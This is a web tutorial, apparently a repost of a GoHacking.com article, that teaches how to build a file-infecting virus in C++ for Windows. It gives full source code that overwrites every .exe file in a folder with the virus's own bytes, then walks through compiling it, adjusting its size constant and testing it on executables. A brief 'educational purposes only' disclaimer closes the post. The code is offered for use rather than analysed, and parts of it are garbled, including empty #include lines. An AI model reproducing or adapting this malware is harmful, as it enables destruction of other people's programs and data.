How+to+create+a+virus+using+C+++with+easy+steps+ +Image How to Create a Virus using C++ in Windows 8
Today,Iam Coming with a tutorial for creating computer virus in Windows 8 using c++ language.
This virus helps you to damage all softwares (with extension .exe) in a folder.You want create this virus and copy that file to an folder,which contains .exe file.
This source code is created by Srikanth Ramesh of GoHacking.com.I maked some changes on it for useing in Windows8.You can create a simple virus within easy steps using this.
Here’s the source code of the virus program.
  
#include#include #include #include #include #include
FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end;
void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) { virus=fopen(_argv[0],”rb”);host=fopen(ffblk.ff_name,”rb+”);if(host==NULL) goto next; x=33110; printf(“Infecting %s\n”,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf(“DONE! (Total Files Infected= %d)”,a); end=clock(); printf(“TIME TAKEN=%f SEC\n”, (end-st)/CLK_TCK); getch(); }





How to create a virus program using this source code



1.Copy this source code to Notepad and save as a .cpp file.To do this save this source code in the name ‘filename.cpp’.
  save this file to the following path:
  Computer -> C-Drive -> Turbo C++ -> Disk -> Turbo C3

2.Open this file in a compiler.(You want a CPP Compiler for open this file.)
3.Press Alt+F9 to compile
4.Press F9 to create the EXE File.
   Warning: DO NOT PRESS CTRL+ F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER
5.Note down the generated EXE file length in bytes.
6.Change the value of X in the source code shown above with the exact size of the .exe file. (IN THE ABOVE SOURCE CODE x= 33110; CHANGE IT)
7.Recompile it (Follow the STEP 1 &  2.Now the generated EXE File is became a virus.)

C++ Compiler Download links


For Windows 8/7 – Download
For Windows XP or Older versions – Download

Test this Virus

1. Create a new folder
2. Put some EXE files (Search for some *.EXE files & paste it into the New Folder)
3. Run the virus EXE file by open it and you can see all the .exe files in that folder get  and destroyed.



WARNING: THIS PROGRAM IS FOR EDUCATIONAL PURPOSES ONLY. DO NOT MISUSE THIS VIRUS CODE.